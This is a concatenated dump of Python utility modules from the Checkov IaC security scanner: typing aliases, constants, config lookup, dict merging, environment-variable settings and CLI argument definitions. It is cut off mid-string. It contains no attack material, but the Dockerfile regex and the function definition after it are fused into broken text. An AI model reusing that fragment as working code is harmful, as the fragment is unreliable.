Dict, Any, Set from pydantic import BaseModel class ReachabilityData(BaseModel): aliasMapping: Dict[str, Any] # noqa: CCE003 class ReachabilityRunConfig(BaseModel): packageNamesForMapping: Set[str] # noqa: CCE003 ================================================ FILE: checkov/common/secrets/__init__.py ================================================ ================================================ FILE: checkov/common/secrets/consts.py ================================================ from __future__ import annotations from enum import Enum GIT_HISTORY_NOT_BEEN_REMOVED = "not-removed" class ValidationStatus(Enum): PRIVILEGED = "Privileged" VALID = "Valid" INVALID = "Invalid" UNKNOWN = "Unknown" UNAVAILABLE = "Unavailable" def __str__(self) -> str: # needed, because of a Python 3.11 change return self.value SECRET_VALIDATION_STATUSES = { ValidationStatus.VALID.value, ValidationStatus.PRIVILEGED.value, ValidationStatus.INVALID.value, ValidationStatus.UNKNOWN.value, ValidationStatus.UNAVAILABLE.value, } class VerifySecretsResult(Enum): INSUFFICIENT_PARAMS = "INSUFFICIENT_PARAMS" FAILURE = "FAILURE" SUCCESS = "SUCESS" def __str__(self) -> str: # needed, because of a Python 3.11 change return self.value ================================================ FILE: checkov/common/typing.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any, Callable, Dict, TypeVar, Set, Union, TypedDict, Tuple from typing_extensions import TypeAlias # noqa[TC002] if TYPE_CHECKING: from checkov.common.bridgecrew.severities import Severity from checkov.common.checks.base_check import BaseCheck from checkov.common.graph.db_connectors.db_connector import DBConnector from checkov.common.models.enums import CheckResult from checkov.common.runners.base_runner import BaseRunner # noqa from networkx import DiGraph from rustworkx import PyDiGraph from checkov.terraform.modules.module_objects import TFDefinitionKey _BaseRunner = TypeVar("_BaseRunner", bound="BaseRunner[Any, Any, Any]") _ScannerCallableAlias: TypeAlias = Callable[ [str, "BaseCheck", "list[_SkippedCheck]", "dict[str, Any]", str, str, "dict[str, Any]"], None ] _Resource: TypeAlias = str _Attributes: TypeAlias = Set[str] ResourceAttributesToOmit: TypeAlias = Dict[_Resource, _Attributes] _RustworkxGraph: TypeAlias = "PyDiGraph[tuple[int, dict[str, Any]], dict[str, str | int]]" LibraryGraph: TypeAlias = "Union[DiGraph, _RustworkxGraph]" LibraryGraphConnector: TypeAlias = "Union[DBConnector[DiGraph], DBConnector[_RustworkxGraph]]" # TODO Remove this type and only use TFDefinitionKey TFDefinitionKeyType: TypeAlias = "Union[str, TFDefinitionKey]" class _CheckResult(TypedDict, total=False): result: Union["CheckResult", Tuple["CheckResult", dict[str, Any]]] suppress_comment: str evaluated_keys: list[str] results_configuration: dict[str, Any] | None check: BaseCheck entity: dict[str, Any] # only exists for graph results class _SkippedCheck(TypedDict, total=False): bc_id: str | None id: str suppress_comment: str line_number: int | None class _ScaSuppressionsMaps(TypedDict, total=False): cve_suppresion_by_cve_map: dict[str, _SuppressedCves] licenses_suppressions_by_policy_and_package_map: dict[str, _SuppressedLicenses] # _ScaSuppressions fields are in camel case because this is the output of the server report class _ScaSuppressions(TypedDict, total=False): cves: _CvesSuppressions licenses: _LicensesSuppressions class _CvesSuppressions(TypedDict): byCve: list[_SuppressedCves] class _LicensesSuppressions(TypedDict): byPackage: list[_SuppressedLicenses] class _SuppressedCves(TypedDict): reason: str cveId: str class _SuppressedLicenses(TypedDict): reason: str packageName: str licensePolicy: str licenses: list[str] class _BaselineFinding(TypedDict): resource: str check_ids: list[str] class _BaselineFailedChecks(TypedDict): file: str findings: list[_BaselineFinding] class _ReducedScanReport(TypedDict): checks: _ReducedScanReportCheck image_cached_results: list[dict[str, Any]] class _ReducedScanReportCheck(TypedDict): failed_checks: list[dict[str, Any]] passed_checks: list[dict[str, Any]] skipped_checks: list[dict[str, Any]] class _CicdDetails(TypedDict, total=False): commit: str | None pr: str | None runId: str | None scaCliScanId: str | None class _ExitCodeThresholds(TypedDict): soft_fail: bool soft_fail_checks: list[str] soft_fail_threshold: Severity | None hard_fail_checks: list[str] hard_fail_threshold: Severity | None class _ScaExitCodeThresholds(TypedDict): LICENSES: _ExitCodeThresholds VULNERABILITIES: _ExitCodeThresholds class _LicenseStatus(TypedDict): package_name: str package_version: str policy: str license: str status: str class _LicenseStatusWithLines(_LicenseStatus): lines: list[int] | None # noqa: CCE003 # a static attribute class _ImageReferencerLicenseStatus(TypedDict): image_name: str licenses: list[_LicenseStatus] class _EntityContext(TypedDict, total=False): start_line: int end_line: int policy: str code_lines: list[tuple[int, str]] skipped_checks: list[_SkippedCheck] origin_relative_path: str ================================================ FILE: checkov/common/util/__init__.py ================================================ ================================================ FILE: checkov/common/util/banner.py ================================================ # flake8: noqa from termcolor import colored from checkov.version import version from checkov.common.version_manager import check_for_update from checkov.common.util.env_vars_config import env_vars_config default_tool = "Checkov" banner = r""" _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: {} """.format(version) new_version = check_for_update("checkov", version, env_vars_config.SKIP_PACKAGE_UPDATE_CHECK) if new_version: banner = ( "\n" + banner + "\nUpdate available " + colored(version, "grey") + " -> " + colored(new_version, "green") + "\nRun " + colored("pip3 install -U checkov", "magenta") + " to update \n" ) ================================================ FILE: checkov/common/util/config_utils.py ================================================ from __future__ import annotations import os from pathlib import Path def config_file_paths(dir_path: str | Path) -> list[str]: return [os.path.join(dir_path, '.checkov.yaml'), os.path.join(dir_path, '.checkov.yml')] def get_default_config_paths(argv: list[str]) -> list[str]: """ Checkov looks for .checkov.yml or .checkov.yaml file in the directory (--directory) against which it is run. If that does not have the config file, the current working directory is checked followed by checking the user's home directory is searched. :param argv: List of CLI args from sys.argv. :return: List of default config file paths. """ home_paths = config_file_paths(Path.home()) cwd_path = config_file_paths(Path.cwd()) dir_paths = [] for i, v in enumerate(argv): if v in ('-d', '--directory'): dir_paths += config_file_paths(argv[i + 1]) return dir_paths + cwd_path + home_paths ================================================ FILE: checkov/common/util/consts.py ================================================ import os DEFAULT_EXTERNAL_MODULES_DIR = ".external_modules" RESOLVED_MODULE_ENTRY_NAME = "__resolved__" START_LINE = '__startline__' END_LINE = '__endline__' FILE = '__file__' LINE_FIELD_NAMES = {START_LINE, END_LINE, FILE} TRUE_AFTER_UNKNOWN = 'true_after_unknown' DEV_API_GET_HEADERS = { 'Accept': 'application/json' } DEV_API_POST_HEADERS = { 'Accept': 'application/json', 'Content-Type': 'application/json' } PRISMA_API_GET_HEADERS = { 'Accept': 'application/json; charset=UTF-8' } PARSE_ERROR_FAIL_FLAG = 'CKV_PARSE_ERROR_FAIL' PRISMA_PLATFORM = 'Prisma Cloud Code Security' BRIDGECREW_PLATFORM = 'Bridgecrew' MAX_IAC_FILE_SIZE = int(os.getenv('CHECKOV_MAX_IAC_FILE_SIZE', '50_000_000')) # 50 MB is default limit RESOURCE_ATTRIBUTES_TO_OMIT_UNIVERSAL_MASK = '*' S3_UPLOAD_DETAILS_MESSAGE = 'An error occurred uploading results to the platform. A details URL is not available for this run. ' \ 'See the error log output and enable debug logs for more information.' ================================================ FILE: checkov/common/util/contextmanagers.py ================================================ import os from contextlib import contextmanager from typing import Any, Generator @contextmanager def temp_environ(**kwargs: Any) -> Generator[None, None, None]: """Temporarily set environment variables and restores previous values copy of https://gist.github.com/igniteflow/7267431?permalink_comment_id=2553451#gistcomment-2553451 """ original_env = {key: os.getenv(key) for key in kwargs} os.environ.update(kwargs) try: yield finally: for key, value in original_env.items(): if value is None: del os.environ[key] else: os.environ[key] = value ================================================ FILE: checkov/common/util/data_structures_utils.py ================================================ from __future__ import annotations import logging import pickle # nosec from typing import Any, TypeVar, cast _T = TypeVar("_T") def get_inner_dict(source_dict: dict[str, Any], path_as_list: list[str]) -> dict[str, Any]: result = source_dict for index in path_as_list: try: result = result[index] except KeyError: # for getting the source context for resources with for_each name - index can be "resource_name[0]" for k in result: if index.startswith(k): result = result[k] return result def merge_dicts(*dicts: dict[_T, Any]) -> dict[_T, Any]: """ Merges two or more dicts. If there are duplicate keys, later dict arguments take precedence. Null, empty, or non-dict arguments are qiuetly skipped. :param dicts: :return: """ res: dict[Any, Any] = {} for d in dicts: if not d or not isinstance(d, dict): continue res = {**res, **d} return res def search_deep_keys( search_text: str, obj: dict[str, Any] | list[dict[str, Any]] | None, path: list[int | str] ) -> list[list[int | str]]: """Search deep for keys and get their values""" keys: list[list[int | str]] = [] if isinstance(obj, dict): for key in obj: pathprop = path[:] pathprop.append(key) if key == search_text: pathprop.append(obj[key]) keys.append(pathprop) # pop the last element off for nesting of found elements for # dict and list checks pathprop = pathprop[:-1] if isinstance(obj[key], dict): if key != 'parent_metadata': # Don't go back to the parent metadata, it is scanned for the parent keys.extend(search_deep_keys(search_text, obj[key], pathprop)) elif isinstance(obj[key], list): for index, item in enumerate(obj[key]): pathproparr = pathprop[:] pathproparr.append(index) keys.extend(search_deep_keys(search_text, item, pathproparr)) elif isinstance(obj, list): for index, item in enumerate(obj): pathprop = path[:] pathprop.append(index) keys.extend(search_deep_keys(search_text, item, pathprop)) return keys def find_in_dict(input_dict: dict[str, Any], key_path: str) -> Any: """Tries to retrieve the value under the given 'key_path', otherwise returns None.""" value: Any = input_dict key_list = key_path.split("/") try: for key in key_list: if key.startswith("[") and key.endswith("]"): if isinstance(value, list): idx = int(key[1:-1]) value = value[idx] continue else: return None value = value.get(key) if value is None: return None except (AttributeError, IndexError, KeyError, TypeError, ValueError): logging.debug(f"Could not find {key_path} in dict") return None return value def pickle_deepcopy(obj: _T) -> _T: """More performant version of the built-in deepcopy""" return cast("_T", pickle.loads(pickle.dumps(obj, pickle.HIGHEST_PROTOCOL))) # nosec def get_empty_list_str() -> list[str]: """Returns an empty list with type 'list[str]' This is needed for using empty lists with a list union type hint ex. foo: list[str] | list[int] = [] more info can be found here https://github.com/python/mypy/issues/6463 """ return [] ================================================ FILE: checkov/common/util/decorators.py ================================================ from __future__ import annotations from datetime import timedelta import logging from functools import wraps from timeit import default_timer from typing import TypeVar, Callable from typing_extensions import ParamSpec T = TypeVar("T") P = ParamSpec("P") def time_it(func: Callable[P, T]) -> Callable[P, T]: """Prints the time it took to execute the function""" @wraps(func) def wrapper(*args: P.args, **kwargs: P.kwargs) -> T: start = default_timer() output = func(*args, **kwargs) end = default_timer() func_path = f"{func.__code__.co_filename.replace('.py', '')}.{func.__name__}" logging.info(f"'{func_path}' took: {timedelta(seconds=end - start)}\n") return output return wrapper ================================================ FILE: checkov/common/util/deep_merge.py ================================================ """Original code: https://github.com/halfak/deep_merge""" from __future__ import annotations from typing import Any, TypeVar, Callable, Protocol from typing_extensions import TypeAlias # noqa[TC002] from checkov.common.util.data_structures_utils import pickle_deepcopy _T = TypeVar("_T") _MergeDict = TypeVar("_MergeDict", bound="dict[Any, Any]") _OverwriteFunc: TypeAlias = "Callable[..., Any]" class _MergeDictsFunc(Protocol): def __call__( self, d1: _MergeDict, d2: _MergeDict, *, merge_lists: _OverwriteFunc, merge_ints: _OverwriteFunc, merge_floats: _OverwriteFunc, merge_strings: _OverwriteFunc, merge_other: _OverwriteFunc, ) -> _MergeDict: ... def overwrite(v1: _T, v2: _T, **kwargs: Any) -> _T: """ Completely overwrites one value with another. """ return pickle_deepcopy(v2) def merge_dicts( d1: _MergeDict, d2: _MergeDict, merge_lists: _OverwriteFunc = overwrite, merge_ints: _OverwriteFunc = overwrite, merge_floats: _OverwriteFunc = overwrite, merge_strings: _OverwriteFunc = overwrite, merge_other: _OverwriteFunc = overwrite, ) -> _MergeDict: """ Recursively merges values from d2 into d1. """ kwargs = { "merge_lists": merge_lists, "merge_ints": merge_ints, "merge_floats": merge_floats, "merge_strings": merge_strings, "merge_other": merge_other, } for key in d2: if key in d1: if isinstance(d1[key], dict) and isinstance(d2[key], dict): d1[key] = merge_dicts(d1[key], d2[key], **kwargs) elif isinstance(d1[key], list) and isinstance(d2[key], list): d1[key] = merge_lists(d1[key], d2[key], **kwargs) elif isinstance(d1[key], int) and isinstance(d2[key], int): d1[key] = merge_ints(d1[key], d2[key], **kwargs) elif isinstance(d1[key], float) and isinstance(d2[key], float): d1[key] = merge_ints(d1[key], d2[key], **kwargs) elif isinstance(d1[key], str) and isinstance(d2[key], str): d1[key] = merge_strings(d1[key], d2[key], **kwargs) else: d1[key] = merge_other(d1[key], d2[key], **kwargs) else: d1[key] = overwrite(None, d2[key]) return d1 def pickle_deep_merge( *dicts: _MergeDict, merge_dicts: _MergeDictsFunc = merge_dicts, merge_lists: _OverwriteFunc = overwrite, merge_ints: _OverwriteFunc = overwrite, merge_floats: _OverwriteFunc = overwrite, merge_strings: _OverwriteFunc = overwrite, merge_other: _OverwriteFunc = overwrite, ) -> _MergeDict: """ Recursively merges dictionaries and the datastructures they contain. :Parameters: *dicts : `dict` Dictionaries to be merged. Items that appear last will take higher precedence when merging. merge_dicts : `func` The function to apply when merging dictionaries. merge_lists : `func` The function to apply when merging lists. merge_ints : `func` The function to apply when merging integers. merge_floats : `func` The function to apply when merging floats. merge_strings : `func` The function to apply when merging strings. merge_other : `func` The function to apply when merging other types or types that do not match. """ for param in dicts: if not isinstance(param, dict): raise TypeError("{0} is not a dict".format(param)) d = dicts[0] for d_update in dicts[1:]: d = merge_dicts( d, d_update, merge_lists=merge_lists, merge_ints=merge_ints, merge_floats=merge_floats, merge_strings=merge_strings, merge_other=merge_other, ) return d ================================================ FILE: checkov/common/util/dockerfile.py ================================================ import re DOCKERFILE_MASK = re.compile(r"^(?:.+\.)?[Dd]ockerfile(?:\..+)?$(? bool: if "ockerfile" not in file: # no need to check the full regex, if 'ockerfile' couldn't be found return False return re.fullmatch(DOCKERFILE_MASK, file) is not None ================================================ FILE: checkov/common/util/env_vars_config.py ================================================ import os import tempfile from pathlib import Path from checkov.common.models.enums import CheckFailLevel from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR from checkov.common.util.http_utils import normalize_bc_url from checkov.common.util.type_forcers import convert_str_to_bool, force_int from checkov.version import version class EnvVarsConfig: def __init__(self) -> None: self.BC_API_URL = normalize_bc_url(os.getenv("BC_API_URL")) self.BC_ENABLE_PERSIST_GRAPHS = convert_str_to_bool(os.getenv("BC_ENABLE_PERSIST_GRAPHS", True)) self.BC_PERSIST_GRAPHS_TIMEOUT = force_int(os.getenv("BC_PERSIST_GRAPHS_TIMEOUT", 60)) self.BC_ROOT_DIR = os.getenv("BC_ROOT_DIR", "") self.BC_SKIP_MAPPING = convert_str_to_bool(os.getenv("BC_SKIP_MAPPING", False)) self.BC_SOURCE = os.getenv("BC_SOURCE", "cli") self.BC_SOURCE_VERSION = os.getenv("BC_SOURCE_VERSION", version) self.CACHE_DIR = convert_str_to_bool(os.getenv("CKV_CACHE_DIR", str(Path(tempfile.gettempdir()) / "cache"))) self.CHECK_FAIL_LEVEL = os.getenv("CHECKOV_CHECK_FAIL_LEVEL", CheckFailLevel.ERROR) self.CREATE_COMPLEX_VERTICES = convert_str_to_bool(os.getenv("CREATE_COMPLEX_VERTICES", True)) self.CHECKOV_ENABLE_DATAS_FOREACH_HANDLING = os.getenv('CHECKOV_ENABLE_DATAS_FOREACH_HANDLING', 'False') self.CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES = convert_str_to_bool(os.getenv('CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES', False)) self.CREATE_EDGES = convert_str_to_bool(os.getenv("CREATE_EDGES", True)) self.CREATE_MARKDOWN_HYPERLINKS = convert_str_to_bool(os.getenv("CHECKOV_CREATE_MARKDOWN_HYPERLINKS", False)) self.CREATE_SCA_IMAGE_REPORTS_FOR_IR = convert_str_to_bool( os.getenv("CHECKOV_CREATE_SCA_IMAGE_REPORTS_FOR_IR", True) ) # default version is set inside the relevant code self.CYCLONEDX_SCHEMA_VERSION = os.getenv("CHECKOV_CYCLONEDX_SCHEMA_VERSION", "") self.DISPLAY_REGISTRY_URL = convert_str_to_bool(os.getenv("CHECKOV_DISPLAY_REGISTRY_URL", False)) self.ENABLE_FOREACH_HANDLING = convert_str_to_bool(os.getenv("CHECKOV_ENABLE_FOREACH_HANDLING", True)) self.ENABLE_MODULES_FOREACH_HANDLING = convert_str_to_bool( os.getenv("CHECKOV_ENABLE_MODULES_FOREACH_HANDLING", True) ) self.EXPERIMENTAL_GRAPH_DEBUG = convert_str_to_bool(os.getenv("CHECKOV_EXPERIMENTAL_GRAPH_DEBUG", False)) self.EXPIRATION_TIME_IN_SEC = force_int(os.getenv("CHECKOV_EXPIRATION_TIME_IN_SEC", 604800)) self.GITHUB_CONF_DIR_NAME = os.getenv("CKV_GITHUB_CONF_DIR_NAME", "github_conf") self.GITHUB_CONFIG_FETCH_DATA = convert_str_to_bool(os.getenv("CKV_GITHUB_CONFIG_FETCH_DATA", True)) self.GITLAB_CONF_DIR_NAME = os.getenv("CKV_GITLAB_CONF_DIR_NAME", "gitlab_conf") self.GITLAB_CONFIG_FETCH_DATA = convert_str_to_bool(os.getenv("CKV_GITLAB_CONFIG_FETCH_DATA", True)) self.GRAPH_FRAMEWORK = os.getenv("CHECKOV_GRAPH_FRAMEWORK", "RUSTWORKX") self.IGNORED_DIRECTORIES = os.getenv("CKV_IGNORED_DIRECTORIES", "node_modules,.terraform,.serverless") self.IGNORE_HIDDEN_DIRECTORIES = convert_str_to_bool(os.getenv("CKV_IGNORE_HIDDEN_DIRECTORIES", True)) self.MAX_FILE_SIZE = force_int(os.getenv("CHECKOV_MAX_FILE_SIZE", 5_000_000)) # 5 MB is default limit self.MAX_IAC_FILE_SIZE = force_int(os.getenv("CHECKOV_MAX_IAC_FILE_SIZE", 50_000_000)) # 50 MB is default limit self.NO_OUTPUT = convert_str_to_bool(os.getenv("CHECKOV_NO_OUTPUT", False)) self.OUTPUT_CODE_LINE_LIMIT = force_int(os.getenv("CHECKOV_OUTPUT_CODE_LINE_LIMIT", 50)) self.PARSE_ERROR_FAIL = convert_str_to_bool(os.getenv("CKV_PARSE_ERROR_FAIL", False)) self.RENDER_ASYNC_MAX_WORKERS = force_int(os.getenv("RENDER_ASYNC_MAX_WORKERS", 50)) self.RENDER_EDGES_DUPLICATE_ITER_COUNT = force_int(os.getenv("RENDER_EDGES_DUPLICATE_ITER_COUNT", 4)) self.RENDER_EDGES_DUPLICATE_PERCENT = force_int(os.getenv("RENDER_EDGES_DUPLICATE_PERCENT", 90)) self.RENDER_MAX_LEN = force_int(os.getenv("CHECKOV_RENDER_MAX_LEN", 10000)) self.RENDER_VARIABLES_ASYNC = convert_str_to_bool(os.getenv("RENDER_VARIABLES_ASYNC", False)) self.RUN_IN_DOCKER = convert_str_to_bool(os.getenv("RUN_IN_DOCKER", False)) self.REQUEST_MAX_TRIES = force_int(os.getenv("REQUEST_MAX_TRIES", 3)) self.RUN_SECRETS_MULTIPROCESS = convert_str_to_bool(os.getenv("RUN_SECRETS_MULTIPROCESS", False)) self.SLEEP_BETWEEN_REQUEST_TRIES = force_int(os.getenv("SLEEP_BETWEEN_REQUEST_TRIES", 1)) self.SLS_FILE_MASK = os.getenv("CKV_SLS_FILE_MASK", "serverless.yml,serverless.yaml").split(",") self.VALIDATE_SECRETS = convert_str_to_bool(os.getenv("CKV_VALIDATE_SECRETS", False)) self.WORKDIR = os.getenv("WORKDIR", "") # possibly not used anymore 'checkov/terraform/graph_builder/utils.generate_possible_strings_from_wildcards()' self.MAX_WILDCARD_ARR_SIZE = force_int(os.getenv("MAX_WILDCARD_ARR_SIZE", 10)) # is also defined as a flag, need to remove env var references in code self.EXTERNAL_MODULES_DIR = os.getenv("EXTERNAL_MODULES_DIR", DEFAULT_EXTERNAL_MODULES_DIR) # is also defined as a flag, need to remove env var references in code self.BC_CA_BUNDLE = os.getenv("BC_CA_BUNDLE") # is also defined as a flag, need to remove env var references in code self.PRISMA_API_URL = os.getenv("PRISMA_API_URL", "https://api0.prismacloud.io") # need to fix usage, because the env var value is set inside the code self.GITHUB_CONF_DIR_PATH = os.getenv("CKV_GITHUB_CONF_DIR_PATH") self.ENABLE_DEFINITION_KEY = os.getenv("ENABLE_DEFINITION_KEY", False) self.SKIP_PACKAGE_UPDATE_CHECK = convert_str_to_bool(os.getenv("CKV_SKIP_PACKAGE_UPDATE_CHECK", False)) self.CKV_SUPPORT_ALL_RESOURCE_TYPE = os.getenv('CKV_SUPPORT_ALL_RESOURCE_TYPE', False) self.HCL_PARSE_TIMEOUT_SEC = force_int(os.getenv("HCL_PARSE_TIMEOUT_SEC", 10)) self.ENABLE_DOTNET_CPM = os.getenv('ENABLE_DOTNET_CPM', False) self.JAVA_FULL_DT = os.getenv('JAVA_FULL_DT', False) self.PROXY_CA_PATH = os.getenv('PROXY_CA_PATH', None) self.PROXY_URL = os.getenv('PROXY_URL', None) self.PROXY_HEADER_VALUE = os.getenv('PROXY_HEADER_VALUE', None) self.PROXY_HEADER_KEY = os.getenv('PROXY_HEADER_KEY', None) self.ENABLE_CONFIG_FILE_VALIDATION = convert_str_to_bool(os.getenv("ENABLE_CONFIG_FILE_VALIDATION", False)) self.RAW_TF_IN_GRAPH_ENV = convert_str_to_bool(os.getenv("RAW_TF_IN_GRAPH", "False")) self.HTTPS_PROXY = os.getenv('HTTPS_PROXY') env_vars_config = EnvVarsConfig() ================================================ FILE: checkov/common/util/ext_argument_parser.py ================================================ from __future__ import annotations from io import StringIO from typing import Any, TYPE_CHECKING, cast, List import configargparse from checkov.common.bridgecrew.check_type import checkov_runners from checkov.common.runners.runner_registry import OUTPUT_CHOICES, SUMMARY_POSITIONS from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR from checkov.common.util.type_forcers import convert_str_to_bool from checkov.version import version if TYPE_CHECKING: import argparse def flatten_csv(list_to_flatten: List[List[str]]) -> List[str]: """ Flattens a list of list of strings into a list of strings, while also splitting out comma-separated values Duplicates will be removed. [['terraform', 'arm'], ['bicep,cloudformation,arm']] -> ['terraform', 'arm', 'bicep', 'cloudformation'] (Order is not guaranteed) """ if not list_to_flatten: return [] return list({s for sublist in list_to_flatten for val in sublist for s in val.split(',')}) class ExtArgumentParser(configargparse.ArgumentParser): def __init__(self, *args: Any, **kwargs: Any) -> None: super().__init__(*args, **kwargs) self.fields_to_sanitize: set[Any] = set() def add(self, *args: Any, **kwargs: Any) -> None: if kwargs.pop("sanitize", False): self.fields_to_sanitize.add(args[0]) super().add(*args, **kwargs) def format_values(self, sanitize: bool = False) -> str: if not sanitize: return cast(str, super().format_values()) source_key_to_display_value_map = { configargparse._COMMAND_LINE_SOURCE_KEY: "Command Line Args: ", configargparse._ENV_VAR_SOURCE_KEY: "Environment Variables:\n", configargparse._CONFIG_FILE_SOURCE_KEY: "Config File (%s):\n", configargparse._DEFAULTS_SOURCE_KEY: "Defaults:\n", } r = StringIO() for source, settings in self._source_to_settings.items(): source = source.split("|") source = source_key_to_display_value_map[source[0]] % tuple(source[1:]) r.write(source) for key, (action, value) in settings.items(): if key: if key in self.fields_to_sanitize or action.option_strings[0] in self.fields_to_sanitize: value = "****" r.write(" {:<19}{}\n".format(key + ":", value)) else: if isinstance(value, str): r.write(" %s\n" % value) elif isinstance(value, list): value = list(value) # copy if source == "Command Line Args: ": index = 0 while index < len(value): if value[index] in self.fields_to_sanitize: index += 1 value[index] = "****" index += 1 r.write(" %s\n" % " ".join(value)) return r.getvalue() def write_config_file( self, parsed_namespace: argparse.Namespace, output_file_paths: list[str], exit_after: bool = False ) -> None: """ Write the given settings to output files. Overrides write_config_file from the class ArgumentParser for correcting types of some attributes (example: check, skip_check) :param parsed_namespace: namespace object created within parse_known_args() :param output_file_paths: any number of file paths to write the config to :param exit_after: whether to exit the program after writing the config files """ for output_file_path in output_file_paths: # validate the output file path try: with self._config_file_open_func(output_file_path, "w") as output_file: pass except IOError as e: raise ValueError(f"Couldn't open {output_file_path} for writing") from e if output_file_paths: # generate the config file contents config_items = self.get_items_for_config_file_output(self._source_to_settings, parsed_namespace) # convert check, skip_check, soft_fail_on and hard_fail_on to list if "check" in config_items.keys(): config_items["check"] = config_items["check"][0].split(",") if "skip-check" in config_items.keys(): config_items["skip-check"] = config_items["skip-check"][0].split(",") if "soft-fail-on" in config_items.keys(): config_items["soft-fail-on"] = config_items["soft-fail-on"][0].split(",") if "hard-fail-on" in config_items.keys(): config_items["hard-fail-on"] = config_items["hard-fail-on"][0].split(",") # convert strings to booleans for k in config_items.keys(): config_items[k] = convert_str_to_bool(config_items[k]) file_contents = self._config_file_parser.serialize(config_items) for output_file_path in output_file_paths: with self._config_file_open_func(output_file_path, "w") as output_file: output_file.write(file_contents) message = "Wrote config file to " + ", ".join(output_file_paths) if exit_after: self.exit(0, message) else: print(message) def add_parser_args(self) -> None: self.add( "-v", "--version", help="version", action="version", version=version, ) self.add( "--support", action="store_true", help="Enable debug logs and upload the logs to the server. Requires a Bridgecrew or Prisma Cloud API key.", default=None ) self.add( "-d", "--directory", action="append", help="IaC root directory (can not be used together with --file).", ) self.add( "--add-check", action="store_true", help="Generate a new check via CLI prompt", ) self.add( "-f", "--file", action="append", help="File to scan (can not be used together with --directory). With this option, Checkov will attempt " 'to filter the runners based on the file type. For example, if you specify a ".tf" file, only the ' "terraform and secrets frameworks will be included. You can further limit this (e.g., skip secrets) " "by using the --skip-framework argument.", nargs="+", ) self.add( "--skip-path", action="append", help="Path (file or directory) to skip, using regular expression logic, relative to current " 'working directory. Word boundaries are not implicit; i.e., specifying "dir1" will skip any ' 'directory or subdirectory named "dir1". Ignored with -f. Can be specified multiple times.', ) self.add( "--external-checks-dir", action="append", help="Directory for custom checks to be loaded. Can be repeated. Note that this will run Python code " 'from the specified directory, so only use this option with trusted directories.', ) self.add( "--external-checks-git", action="append", help="GitHub url of external checks to be added. You can specify a subdirectory after a double-slash //." "It is ossible to use ?ref=tags/tagName or ?ref=heads/branchName or ?ref=commit_id and " "cannot be used together with --external-checks-dir. Note that this will run Python code " "from the specified directory, so only use this option with trusted repositories.", ) self.add( "-l", "--list", help="List checks", action="store_true", ) self.add( "-o", "--output", action="append", choices=OUTPUT_CHOICES, default=None, help="Report output format. Add multiple outputs by using the flag multiple times (-o sarif -o cli)", ) self.add( "--output-file-path", default=None, help="Name of the output folder to save the chosen output formats. " "Advanced usage: " "By using -o cli -o junitxml --output-file-path console,results.xml the CLI output will be printed " "to the console and the JunitXML output to the file results.xml.", ) self.add( "--output-bc-ids", action="store_true", help="Print Bridgecrew platform IDs (BC...) instead of Checkov IDs (CKV...), if the check exists in the platform", ) self.add( "--include-all-checkov-policies", action="store_true", help="When running with an API key, Checkov will omit any policies that do not exist in Prisma Cloud platform, " "except for local custom policies loaded with the --external-check flags. Use this key to include policies " "that only exist in Checkov in the scan. Note that this will make the local CLI results different from the " "results you see in the platform. Has no effect if you are not using an API key. Use the --check option to " "explicitly include checks by ID even if they are not in the platform, without using this flag.", ) self.add( "--quiet", action="store_true", default=False, help="in case of CLI output, display only failed checks. Also disables progress bars", ) self.add( "--compact", action="store_true", default=False, help="in case of CLI output, do not display code blocks", ) self.add( "--framework", help="Filter scan to run only on specific infrastructure as code frameworks. Defaults to all frameworks. If you " "explicitly include 'all' as a value, then all other values are ignored. Enter as a " "comma-separated list or repeat the flag multiple times. For example, --framework terraform,sca_package " f"or --framework terraform --framework sca_package. Possible values: {', '.join(['all'] + checkov_runners)}", env_var="CKV_FRAMEWORK", action='append', nargs='+' # we will still allow the old way (eg: --framework terraform arm cloudformation), just not prefer it # intentionally no default value - we will set it explicitly during normalization (it messes up the list of lists) ) self.add( "--skip-framework", help="Filter scan to skip specific infrastructure as code frameworks. " "This will be included automatically for some frameworks if system dependencies " "are missing. Enter as a comma-separated list or repeat the flag multiple times. For example, " "--skip-framework terraform,sca_package or --skip-framework terraform --skip-framework sca_package. " "Cannot include values that are also included in --framework. " f"Possible values: {', '.join(checkov_runners)}", default=None, action='append', nargs='+' ) self.add( "-c", "--check", help="Checks to run; any other checks will be skipped. Enter one or more items separated by commas. " "Each item may be either a Checkov check ID (CKV_AWS_123), a BC check ID (BC_AWS_GENERAL_123), or " "a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use a severity, then all checks equal to or " "above the lowest severity in the list will be included. This option can be combined with " "--skip-check. If it is, then the logic is to first take all checks that match this list, and then " "remove all checks that match the skip list. For example, if you use --check CKV_123 and " "--skip-check LOW, then CKV_123 will not run if it is a LOW severity. Similarly, if you use " "--check CKV_789 --skip-check MEDIUM, then CKV_789 will run if it is a HIGH severity. If you use a " "check ID here along with an API key, and the check is not part of the BC / PC platform, then the " "check will still be run (see --include-all-checkov-policies for more info).", action="append", default=None, env_var="CKV_CHECK", ) self.add( "--skip-check", help="Checks to skip; any other checks will not be run. Enter one or more items separated by commas. " "Each item may be either a Checkov check ID (CKV_AWS_123), a BC check ID (BC_AWS_GENERAL_123), or " "a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use a severity, then all checks equal to or " "below the highest severity in the list will be skipped. This option can be combined with --check. " "If it is, priority is given to checks explicitly listed by ID or wildcard over checks listed by " "severity. For example, if you use --skip-check CKV_123 and --check HIGH, then CKV_123 will be " "skipped even if it is a HIGH severity. In the case of a tie (e.g., --check MEDIUM and " "--skip-check HIGH for a medium severity check), then the check will be skipped.", action="append", default=None, env_var="CKV_SKIP_CHECK", ) self.add( "--run-all-external-checks", action="store_true", help="Run all external checks (loaded via --external-checks options) even if the checks are not present " "in the --check list. This allows you to always ensure that new checks present in the external " "source are used. If an external check is included in --skip-check, it will still be skipped.", ) self.add( "-s", "--soft-fail", help="Runs checks but always returns a 0 exit code. Using either --soft-fail-on and / or --hard-fail-on " "overrides this option, except for the case when a result does not match either of the soft fail " "or hard fail criteria, in which case this flag determines the result.", action="store_true", ) self.add( "--soft-fail-on", help="Exits with a 0 exit code if only the specified items fail. Enter one or more items " "separated by commas. Each item 